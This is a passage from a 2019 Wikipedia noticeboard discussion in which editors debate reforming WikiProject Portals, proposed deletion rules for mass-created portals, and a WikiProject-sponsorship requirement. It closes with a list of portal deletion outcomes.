:**Wikprojects are a collection of editors, not just one person. There is no evidence presented that there is any admin action required regarding the WikiProject as a whole collectively (not that I can immediately think of what that action could look like if it were), and there isn't even consensus that admin action regarding the single editor is required. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 13:57, 15 March 2019 (UTC)
::*Fair point, but considering the discussion below it should still be considered. <span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 14:00, 15 March 2019 (UTC)
*'''Support'''. I’ve been doing some reform work of this type by creating a [[WP:WikiProject Portals/Cleanup|page to clean up some of the damage done to the older portals.]] WikiProject Portals has an [[WP:WPPORT/A|assessment page]] but I’m not sure how much it gets used. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 19:49, 15 March 2019 (UTC)
** It took quite a lot of discussion to form a consensus for those assessment criteria. Any portals would need to be evaluated against them to ensure they meet at least minimal quality standards (not including the other criteria in the portal guidelines). It will take a while to go through all of the portals and rate them on the quality scale, and that is one of our backlog tasks. — AfroThundr <sup>([[User:AfroThundr3007730|u]] · [[User talk:AfroThundr3007730|t]] · [[Special:Contributions/AfroThundr3007730|c]])</sup> 19:48, 16 March 2019 (UTC)
*'''Support''' in theory. It makes more sense than the above "I disagree with you so I will try to just erase you" bullshit. However, it's not at all clear that the wikiproject, as such, needs any "reform"; rather, some specific decisions and actions taken by its participants have turned out to be controversial, and the community will discuss that (hopefully in a more sensible venue like [[WP:VPPOL]]), and the wikiprojects should abide by the result of that process. We don't have any indication this would not happen, so there isn't actually a "reform" to perform, nor is there yet any consensus of what form that should take anyway. Some people here seem to be under the impression that WP is going to come out against portals; others that it'll be against automated portals; others that it'll be against portals on minor topics (and sub-sub-sub-topics) that people aren't likely to seek a portal for; others that nothing is actual broken; others that .... There isn't a single direction of "reform" being proposed. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 21:03, 17 March 2019 (UTC)
*'''Oppose''' The way to reform a project is to get involved with it. We've already had multiple discussions about how the project should be structured and how it should operate on the project pages themselves, and further suggestions there are always welcome. But proposing "reform" without specifying what particular changes are being suggested isn't exactly helpful. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 16:53, 18 March 2019 (UTC)
::Exactly right, {{u|Waggers}}, exactly right. You've hit the nail on the head. [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 18:22, 20 March 2019 (UTC)
:::But is you see little need for portals why get involved? [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 23:18, 21 March 2019 (UTC)
::::Nominating hundreds of portals for deletion ''is'' getting involved. If you see little need for them then fine, live and let live, they're not doing you any harm. The community has decided to keep portals, so either you respect that consensus and ignore them, or you respect that consensus and get involved with resolving whatever problem you have with them. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 12:58, 3 April 2019 (UTC)
*'''Qualified support'''. The current project is far from perfect but it's hard to give unqualified support without a statement of specific reforms. We don't want thousands more portals, but last year's RfC shows that it would be equally inappropriate to "reform" into WikiProject Nuke All Portals From Orbit. I removed my name from the project's roster when portal creation grew rapidly. Since then I have done some maintenance but I see little point in improving pages that other editors are working so hard to delete. I could rejoin a project that combined improved existing portals with the right blend of identifying poor, narrow portals for deletion and creating portals in small numbers where clear gaps exist. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 13:32, 29 March 2019 (UTC)
====Discussion on proposal to reform WikiProject Portals====
*'''Query''' {{ping|Kirbanzo}} - do you have any early thoughts about what some good reforms would be to shift the primary focus of the project towards maintenance/improvement over creation? [[User:Nosebagbear|Nosebagbear]] ([[User talk:Nosebagbear|talk]]) 23:11, 14 March 2019 (UTC)
:*See addendum. <span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 13:50, 15 March 2019 (UTC)
* Transcluded to [[Wikipedia talk:WikiProject Portals]]. [[User:Pppery|{{3x|p}}ery]] ([[User talk:Pppery|talk]]) 23:36, 14 March 2019 (UTC)
* No, do not transclude important discussions from AN to the relevant talkpage. Hold the discussion on the relevant talk page. Transclude to here is there is good reason, which there is not. Holding hte discussion here means watchlisting it doesn't work, and it wont be archived in the right place. Shutting down a WikiProject is not in scope for WP:AN. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 02:20, 15 March 2019 (UTC)
* The Portals Wikiproject members can't even come up with a proper new guideline for what topics get a portal even when faced with a village pump imposed moratorium. The discussion is all over the place with no focus. Heck they did not even follow their old guideline about picking subjects broud enough to gain reader and editor interest. The only thing they appear to agree on is MORE MORE MORE and using [[WP:VITAL]] as a to do list. Their newsletter said they are pushing to 10,000 portals (off a base of 1500 old line portals). Now the number of portals will shrink until and unless they get new guidelines passed by an RFC. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 09:57, 15 March 2019 (UTC)
* That old guideline wasn't generally followed, ever. That's because portals (except those on the main page) get about 1 to 3 percent of the amount of traffic that their corresponding root articles get. In other words, "not a lot". That's because almost all their traffic comes via WP internal links. Almost nobody googles "Portal". So, for the vast majority of topics, large numbers of readers and editors will never be forthcoming, and never were. Out of the 1500 portals, about 100 had maintainers (maintained by around 60 editors), and maybe 20% of them regularly edited the portals they maintained.
: The WikiProject, and the community, need feedback in the form of hard numbers, in order to get a sense of what will even get used. How hard would it be to make a chart listing all the portals in one column, and their page views for the past month in the second column, and then sort the chart by the second column? That might provide some insight. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 11:05, 15 March 2019 (UTC)
*''Sigh''. :TTH, you had this data already. You know that portal pageviews are miniscule. At the RFC on deleting the portal namespace, stats were posted on pageviews, and not even all the portals linked from the front page had decent viewing rates.
:Yet despite knowing all that, you personally created thousands of new portals, despite having all the evidence in front of you that they are useless.
:And when I presented the evidence to you again, and asked you to desist, you were furious. Instead of assessing the issues, you posted multi-screenfull unfocused ramblings replete with shouts of "bias", "personal attack" etc.
:The problem is not any shortage of information. The problem is that as @[[User:Legacypac|Legacypac]] notes above, the discussions in the WikiProject have no focus, no regard for available evidence, and no respect for community consensus.
:Legacypac and usually disagree, but in this case we see exactly the same problem: a WikiProject which has a long and sustained track record of being utterly incapable of acting responsibly wrt the page within its purview.
:This is not ''solely'' TTH's doing. TTH bears by far the highest responsibility because TTH has been both the most prolific creator and the most angry objector to calls for restraint, but several other regulars at WikiProject Portals have been equally unfocused and equally bonkers. For example:
:* Only 15 days ago, [[WT:Portal/Guidelines#Portal_creation_and_deletion_criteria_proposal_5]]: a proposal to create portals up to VA Lelevl 5, when even VA level 4 would be about 10,000 portals.
:* 17 days ago, [[WT:Portal/Guidelines#Portal_creation_and_deletion_criteria_proposal_1]]: a proposal for portals to have minimum of only 20 articles. Precisely the sort of microportal of which the community has had enough.
:So the community simply cannot rely on this group to set and uphold resposnsible guidelines. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 11:53, 15 March 2019 (UTC)
:: {{ping|BrownHairedGirl}} I make the proposal 5. And it was a proposal. I '''Support''' a reform in WikiProject Portals. My idea is the existence of approximately 1000(level 3) single page portals layout, directly linked in tree model with the main page. The role of the wikiproject should be to organize this tree and develop tools to transform all portals into single-page layout portals.[[User:Guilherme Burn|Guilherme Burn]] ([[User talk:Guilherme Burn|talk]]) 12:11, 15 March 2019 (UTC)
:::@[[User:Guilherme Burn|Guilherme Burn]], no technical diversions. My point is not about ''how'' the portals operate; it's about their scope. And 20 pages is insanely narrow. A 20-page portal is just an bloated navbox. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 12:36, 15 March 2019 (UTC)
::{{ping|BrownHairedGirl}} I'm trying to figure out how you've come to the conclusion that WPPORT completely ignores evidence and consensus. The project discussions I've participated in have been rational and reasonable, and far from unfocused. Also, please try not to conflate individual editors' behavior with the project as a whole. I've seen no evidence that the WikiProject has acted irresponsibly regarding the Portal system. If you're referring to the several thousand new portals created by TTH, you should keep in mind that WikiProjects don't have any actual authority to dictate who can and can't create something (even if we were opposed to creating new portals). That's what guidelines are for.
::We've been working to develop updated criteria for the [[WP:PORTG|Portal guidelines]] since November (rebooted from even earlier discussions in April) - which you already know, since you've participated as well. We're still working on the guidelines so that we have better, more concrete criteria to judge new and existing portals against (and which would make MfD easier for those that fail). Once we've developed consensus on these, they can be applied to the namespace to fix the portals that can be fixed, and remove the ones that can't (new or old). <small>(Side note: Anyone with input or ideas is welcome to participate at [[WT:PORTG]].)</small>
::Actions in the Portal namespace itself (for most of us, it seems) has mostly been technical fixes and tweaks to our tools. Also, your not agreeing with particular proposals does not make those proposing them irresponsible or incompetent. Talk pages are a place to discuss new ideas so that we can find the benefits and drawbacks of each. If we constantly had to worry about being labeled as irresponsible or incompetent for suggesting something, we'd never have any new ideas or get anything done. I've made plenty of suggestions that didn't pan out later, as I'm sure you have, and everyone else here. That's how we learn what works and what doesn't and build a better encyclopedia. In the end, that's what we're all here for right? — AfroThundr <sup>([[User:AfroThundr3007730|u]] · [[User talk:AfroThundr3007730|t]] · [[Special:Contributions/AfroThundr3007730|c]])</sup> 19:48, 16 March 2019 (UTC)
:::{{yo|AfroThundr3007730}} that's not at all how it looks from outside.
:::# Last year, the project began developing automated portals, whose advocates claimed need little or no curation. No attempt was made to hold an RFC to determine whether the community found these automated portals to be a worthwhile addition. (I think I see an emerging consensus that they are not useful, or maybe useful only in some curcumstances)
:::# Following the [[WP:ENDPORTALS]] RFC which decided not to actually delete the whole portal namespace, the project decided to massively expand the number of portals, despite the clear evidence at RFC that many editors wanted ''fewer'' portals. At no point did the project initiate an RFC to establish whether there was a community consensus for the project's enthusiasm to bizarrely interpret "don't TNT the lot" as "create thousands more".
:::# You are right that a WikiProject has no powers of restraint on an individual editor. However, the project does have an ability to watch what is done, and to act a venue to monitor inappropriate creations, and to initiate cleanup as needed. I see no sign at all that the project has done ''any'' of that ... and on the contrary, when outsiders have challenged TTH's sprees of portalspam, other project members have rallied to TTH's defence.
:::# Even now, as a cleanup is underway, I see next to no assistance from project members. V few even comment in the MFDs. For example, take the most extreme case so far: [[WP:Miscellany for deletion/Portal:University of Fort Hare|MFD Portal:University of Fort Hare]], an utterly absurd creation for which there exists precisely zero relevant selected articles ... yet ''none'' of the project regulars is visible.<br/>In my view, a WikiProject which shows zero interest in removing inappropriate pages within its scope is dysfunctionally irresponsible.
:::# The project's efforts to develop guidelines have been exceptionally poor. The discussions have been rambling and unfocused, with a persistent failure to distinguish between factors such as technical ability to create, availability of editors to maintain and monitor, actual usage data, etc.
:::# Above all, none of the proposals has been put to an RFC to gauge community consensus, so the guideline discussion have effectively been the work of a small group of editors who are united by a common desire to massively increase the number of automated portals.
:::# The result of this failure has been a walled garden of thousands of micro-portals, sustained only by the enthusiasm of the portal project ... and the absolutely inevitable massive shitstorm at the village pump.
::::What this needs now is a structured RFC, which brings together some or all of the proposals made at the project, adds proposals from outside the project, and seeks a community consensus. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 20:18, 16 March 2019 (UTC)
===Proposal 6: Proposed Deletion for portals===
{{atop|Withdrawn by proposer. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 17:13, 29 March 2019 (UTC)}}
'''Proposal:''' Create a [[WP:PROD|proposed deletion]] criterion for portals created on April 8, 2018 or later by any user. Per normal PROD rules, the page would be deleted after 7 days, but a user who objects to the deletion may remove the prod template. However, unlike regular PROD, the creator would not be allowed to remove the template (though they would of course be allowed to contest it on the talk page). —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 21:58, 22 March 2019 (UTC)
*'''Support''' as proposer. I proposed this to resolve issues raised by various opposers. This would provide a longer waiting period before deletion, reduce the chances that the recently created portals that comply with the [[WP:POG|portal guidelines]], and not restrict it to a single user, because there were other users who created problematic portals. Possible reasons for removing a prod template include the portal meeting the portal guidelines or being under active development. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 21:58, 22 March 2019 (UTC)
*'''Comment'''. I'm leaning support, having been mulling over proposing something like this myself but, I'm not certain this proposal is quite right yet. I don't think there should be a list of acceptable reasons to deprod, rather a non-exhaustive list of examples to reduce the chance of wikilawyering about it (and there will be situations we don't think of and probably some we do that we shouldn't list per [[WP:BEANS]]). Any restriction on creators deprodding needs to come with exceptions for reverting obvious vandalism and where prod is not permitted (e.g. doesn't meet the criteria, previously kept in a discussion, etc) - it may be better to say creators ''should not'' rather than ''must not''. I also think it important that prodded portals show up in article alerts before this goes live (I no idea if this would require any changes to bot code or not, and if it does how significant it might be). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 22:21, 22 March 2019 (UTC)
**I've now [[Wikipedia talk:Article alerts/Feature requests#Portal prods|asked]] the article alert bot maintainer those questions. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 22:32, 22 March 2019 (UTC)
*::The deprod "criteria" are suggestions and not part of the proposal. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 01:56, 23 March 2019 (UTC)
*:::I wasn't certain either way, so thanks for clarifying. I do think though that jumping straight in to an RfC without workshopping the proposal first was a poor choice though - there is a good idea but it needs refining before I am comfortable supporting it. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 03:11, 23 March 2019 (UTC)
*Prod isn't going to do anything except delay MFD for a week so long as there's multiple users who think all portals, however narrow, should be kept. [https://en.wikipedia.org/w/index.php?title=Special:Log/delete/Cryptic&offset=20190205032152&limit=112&type=delete&user=Cryptic And there are]. —[[User:Cryptic|Cryptic]] 23:35, 22 March 2019 (UTC)
**Do multiple users think that? I certainly don't; I just oppose the view that all should be deleted. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 23:43, 22 March 2019 (UTC)
**{{replyto|Cryptic}} How does a link to a deletion log support the assertion that there are multiple users who think all portals should be kept? I'm one of the most (perhaps even the most) vocal advocates against the proposed speedy deletion criterion, yet I do not hold that view. I've repeatedly explained that I simply think that only some of the portals should be deleted, and that it is more important to get it right than to do it quickly - [[WP:DEADLINE|there is no deadline]]. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 00:09, 23 March 2019 (UTC)
* '''Oppose'''. This would be a pseudo-CSD failing [[WP:NEWCSD]]. Better to list or reference all new templated portals in a big MfD. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 00:18, 23 March 2019 (UTC)
*'''Comment''' some users think all portals, no matter how narrow or inappropriate the topic, need to be debated at MfD. SmokeyJoe wants a 3500 portal MfD yet NorthAmerica1000 is complaining about a 6 fruit portals being bundled. A lot of unreasonable positions here. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 01:00, 23 March 2019 (UTC)
*'''Comment''' What's to stop the group behind the auto-portals removing every PROD? [[User:CoolSkittle|<span style="background-color: blue; color: orange">CoolSkittle</span>]] ([[User talk:CoolSkittle|talk]]) 01:24, 23 March 2019 (UTC)
**I would imagine exactly the same thing that stops (groups of) editors systematically removing prods from any given set of articles - doing so is disruptive editing - just as systematically tagging any large set of articles without considering them is (see also [[WP:FAITACCOMPLI]] and [[WP:SK]] points 2 and 3). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 03:16, 23 March 2019 (UTC)
*'''Comment''' check out some of the comments here [[Wikipedia:Miscellany for deletion/Portal:Alhambra, California]] where all portals prior to the reboot survived a deletion discussion as acceptable and any similar ones are therefore acceptable. No one followed the guidelines because they don't matter anymore. Amazing stuff. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 01:57, 23 March 2019 (UTC)
* Transcluded to [[Wikipedia talk:Proposed deletion]]. [[User:Pppery|{{3x|p}}ery]] ([[User talk:Pppery|talk]]) 02:34, 23 March 2019 (UTC)
*{{sbb}}'''Oppose''' CSD is better, this just sounds like MfD with extra steps. [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 11:19, 28 March 2019 (UTC)
*'''Oppose''' I can think of at least three editors who would make it their duty in life to automatically remove a PROD with the rationale, "Controversial; take to MfD". Which makes this a waste of everyone's time. [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 11:25, 28 March 2019 (UTC)
*'''Oppose''' Being created recently is not a rationale for deletion, let alone semi-speedy deletion. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 13:35, 29 March 2019 (UTC)
{{abot}}
===Proposal 7: Toss it to the WikiProjects===
''<small>I suggested at the Arbcom case that this be imposed by motion as an interim measure, but I'll put it as a proposal here to allow people to support or oppose it.</small>''<br>Proposal: All editors intending to create a portal must consult with the relevant WikiProject for that topic as to whether they feel a portal would be useful. All existing portals should be raised at the talk pages of the relevant WikiProjects and deleted if there is no consensus at any one of those projects that the portal should be kept. If the topic has no relevant WikiProject, it should be deleted. ‑ [[User:Iridescent|Iridescent]] 10:42, 29 March 2019 (UTC)
*'''Support''' as proposer. This would have the advantages of avoiding bulk speedy deletions, avoiding personalising disputes or naming-and-shaming individuals on either the pro or anti side, avoiding flooding MFD, putting the decision on each portal in the hands of those who actually know about that topic and can make an informed call as to whether the portal would be potentially useful (if a topic is so obscure that it doesn't have a relevant project, then it's reasonable to assume that it's unlikely there are sufficient people with an interest in the topic to maintain or use a portal), and providing an opportunity to neutrally assess whether the older portals are still deemed to be serving a useful purpose. The process could probably be largely automated; a bot could presumably scrape the WikiProjects listed on the talk page of the parent article for each portal, and post a "Do you find this portal useful?" question to the talk pages of those projects, and after a reasonable time (presumably 30 days) we could then go through at leisure and see which portals are considered worth keeping. It might annoy some projects, as e.g. [[WT:WikiProject Food]] or [[WT:WikiProject United States]] will be flooded with 50 different discussions, but unless we're going to speedy delete or speedy keep every portal there will be a flooding effect somewhere, and at least this way it spreads the flood to a manageable level across multiple pages, rather than dumping 4000 pages into [[WP:MFD]] or [[CAT:EX]]. ‑ [[User:Iridescent|Iridescent]] 10:42, 29 March 2019 (UTC)
*'''Support''' as the compromise candidate. It's not guaranteed to annoy no-one or be loved by all, but it's better than, as we seem to be enjoying atm, a process that annoys more and is loved even less... [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 10:56, 29 March 2019 (UTC)
**It won't be liked by anyone, as it concentrates the decision-making in the hands of small cliques of people, but at least it (1) spreads the load regarding where the discussions take place, (2) notifies people interested in the topics who may not be aware of the existence of the portals, and (3) means the fate of [[Portal:London transport]] is decided by people who have an interest in either London or Transport and hopefully have a better idea than the rest of us of what would be useful to readers. ‑ [[User:Iridescent|Iridescent]] 11:05, 29 March 2019 (UTC)
*{{ec}} '''Support with minor tweaks''': To avoid flooding WikiProjects there should be a limit on the number of concurrent discussions on each project (somewhere in the 5-10 region would be my first suggestion) and the 30-day deadline should not be absolute - e.g. if discussion is ongoing at that point there is no rush to close it, equally if consensus is abundantly apparent (by the standards of [[WP:SNOW]]) before that there is no reason to delay taking any necessary action or inaction. Discussions should also be framed neutrally (i.e. don't describe it as "spam", "worthless", "essential" or anything like that.) Also, to avoid edit warring, arguments, etc there should be no extended discussion of which projects are asked - if any editor in good faith believes that a project is worth asking then they are worth asking. Finally there should be a list kept somewhere (probably at the portals project) of which projects have been asked about which portals so the same project doesn't get asked about repeatedly. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 11:15, 29 March 2019 (UTC)
*:On the neutral point, it might be worth agreeing a standard wording that can be added with a template that also provides links to basic information about portals so people don't have to keep repeating themselves. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 11:18, 29 March 2019 (UTC)
*'''Strong Oppose''' - See the bullet points below for my various rationales.
:*Wikiprojects are perenially understaffed and underwatched, with some having no participation for months or even years at a time on their talk pages. Some are marked as semi-active or inactive. Making it a requirement to consult with projects with such problems would amount to muzzling portal creations for many topics, because nobody may actually come along to discuss a portal proposal.
:*This proposal would further denigrate Wikipedia in the wrong direction, with an increasing [[nanny state]] type of governance regarding content, where permissions have to first be made to create pages. This would result in even more chilling effects than already exist in various areas of the encyclopedia at this time.
:*The proposal goes entirely against the grain of [[WP:5]], point #5, concerning being [[WP:BOLD]]. Wikipedia having no firm rules is one of the fundamental principles of the encyclopedia. The proposal also goes against the grain of [[WP:NOTBUREAUCRACY]] in several ways.
:* Regarding the notion that if a topic has no project, the portal would then be procedurally deleted: some topics may not have a direct Wikiproject, but may have a related one. For example, there is no direct project for the topic of air conditioning, but a related project would be WikiProject Engineering.
::Furthermore, many of the discussions listed at [[Wikipedia:WikiProject Council/Proposals|WikiProject Council/Proposals]] receive very little input, sitting in limbo. If a Wikiproject cannot be created without first consulting a forum that receives little input, and therefore a portal could not be created without a project backing it, all without a means for a project to get off the ground in the first place, it would amount to a [[vicious circle]] of automatically denying portal creation for some topics based upon the already largely broken system at the WP Council.
:* Would older portals also be automatically, procedurally deleted if no project exists, or would this only apply to the newer ones, with a grandfather clause existent for the older portals? Either way, automatic deletion in this manner goes against several core principles of Wikipedia, and would serve to unnecessarily stifle the creation of functional, useful content.
:* Regarding having discussions for all existing portals raised on talk pages of relevant Wikiprojects: this is very unlikely to even be viable. Who would ultimately be responsible to perform creating and then watching all of these discussions? Would said posited discussions be a subjective [[straw poll]], or based upon actual objective discussion about a portal's content and how it relates to a topic? Importantly, this would significantly and negatively shift Wikipedia from being a volunteer project to one that requires specific actions, in this case, mandatory discussions for all content in the portal [[Wikipedia:Namespace|namespace]]. This would set a very poor precedent for the encyclopedia.
:* Regarding the notion of procedurally deleting portals if no consensus exists in a talk page discussion: at AfD, MfD, and other areas of deletion on Wikipedia, a no consensus result typically results in retention of a page or pages, rather than deletion.
:*There's more, but I will leave my post at that for now.
:– <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 12:16, 29 March 2019 (UTC)
*'''Oppose''' I appreciate this proposal as one made in good faith using reasoned language. We should certainly invite WikiProjects to have more involvement in portals, including their creation and deletion. However, Northamerica1000 makes enough convincing arguments that I don't need to add any. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 13:40, 29 March 2019 (UTC)
* Unfortunately reasonable, but WikiProjects do not own topics within their scope. (See also [[WP:CONLEVEL]].) --[[User:Izno|Izno]] ([[User talk:Izno|talk]]) 13:48, 29 March 2019 (UTC)
* An [[Wikipedia talk:Portal/Guidelines#Portal creation and deletion criteria proposal 2|essentially similar proposal]] is under discussion at the portal guidelines talk page. The issue is not one of ownership; it's integrating support for portals with the same interested editors who maintain the navigation boxes and articles for the topic area. Particularly if the helper templates are used, editors need to take portals into account when modifying any associated navigation boxes and articles. But in general, portals can only be successful in the long term if they are supported in the same way as the rest of the related content. Accordingly, decisions on their creation and maintenance should be made by those editors, either under the aegis of associated WikiProjects, or through other methods of identifying editors active in the area. [[User:Isaacl|isaacl]] ([[User talk:Isaacl|talk]]) 15:11, 30 March 2019 (UTC)
*If a portal is of high quality, it does not really matter whether there is a WikiProject about a related topic or not. Usually there will be a WikiProject (we have projects covering almost everything), but probably not a very active one. I do agree with the inviting subject experts to portal discussions, though. —'''[[User:Kusma|Kusma]]''' ([[User talk:Kusma|t]]·[[Special:Contributions/Kusma|c]]) 15:25, 30 March 2019 (UTC)
*'''Support''' - I have tossed this out at [[WP:VPP|the Village Pump]]. See https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)#RFC:_Portals_and_Project_Sponsorship . [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 21:28, 30 March 2019 (UTC)
*'''Comment''' - I will argue that NorthAmerica1000's argument about understaffed WikiProjects is a valid consideration that will serve as a check on the creation of rogue portals. (We are not discussing rogue WikiProjects here.) [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 21:28, 30 March 2019 (UTC)
*'''Comment''' – Wow, so <u>now we have two identical discussions occurring about the same topic in two different places</u>, now at '''[[Wikipedia:Village pump (policy)#RFC: Portals and Project Sponsorship|Wikipedia:Village pump (policy) § RFC: Portals and Project Sponsorship]]'''. As such, pinging all users who have participated here who have not commented at the new discussion, so their opinions here won't be lost or discounted at the new discussion: {{ping|Serial Number 54129|Thryduulf|Certes|Isaacl|Kusma}} Per the new discussion, I feel that '''this discussion should now be closed, with a redirect provided to the new discussion in the closure'''. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 00:22, 31 March 2019 (UTC)
**Three places, counting the discussion started in February at the portal guidelines talk page. [[User:Isaacl|isaacl]] ([[User talk:Isaacl|talk]]) 02:05, 31 March 2019 (UTC)
* '''Request Closure''' This is at multiple venues and since this is not a proposal that ''affects administrators'' (specifically) this one should probably be procedurally closed. [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 15:59, 1 April 2019 (UTC)
===Portal MfD Results===
{{cot|Some Portals closed at [[WP:MfD]] during 2019}}
:Note: Struck the word "all" and added "(some)": this list is now incomplete. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 11:47, 2 April 2019 (UTC)
Grouped Nominations total 133 Portals (161 portals total):
#[[Wikipedia:Miscellany for deletion/US County Portals]] '''Deleted''' 64 portals
#[[Wikipedia:Miscellany for deletion/Districts of India Portals]] '''Deleted''' 30 Portals
#[[Wikipedia:Miscellany for deletion/Portals for Portland, Oregon neighborhoods]] '''Deleted''' 23 Portals
#[[Wikipedia:Miscellany for deletion/Portal:Allen Park, Michigan]] '''Deleted''' 6 Portals
#[[Wikipedia:Miscellany for deletion/Portal:Airlines]] 4 Portals '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Cryptocurrency]] '''Deleted''' 2 Portals
#[[Wikipedia:Miscellany for deletion/Portal:North Pole]] '''Deleted''' 2 Portals
#[[Wikipedia:Miscellany for deletion/Portal:Winemaking]] '''Deleted''' 2 Portals
Individual Nominations:
#[[Wikipedia:Miscellany for deletion/Portal:Circles]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Fruits]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:E (mathematical constant)]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Burger King]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Cotingas]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Prostitution in Canada]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Agoura Hills, California]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Urinary system]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:You Am I]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Cannabis (2nd nomination)]] Reverted to non-Automated version
#[[Wikipedia:Miscellany for deletion/Portal:Intermodal containers]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Adventure travel]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Adam Ant]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Benito Juárez, Mexico City]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Spaghetti]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Wikiatlas]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Greek alphabet]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Aleksandr Solzhenitsyn]] '''Deleted'''
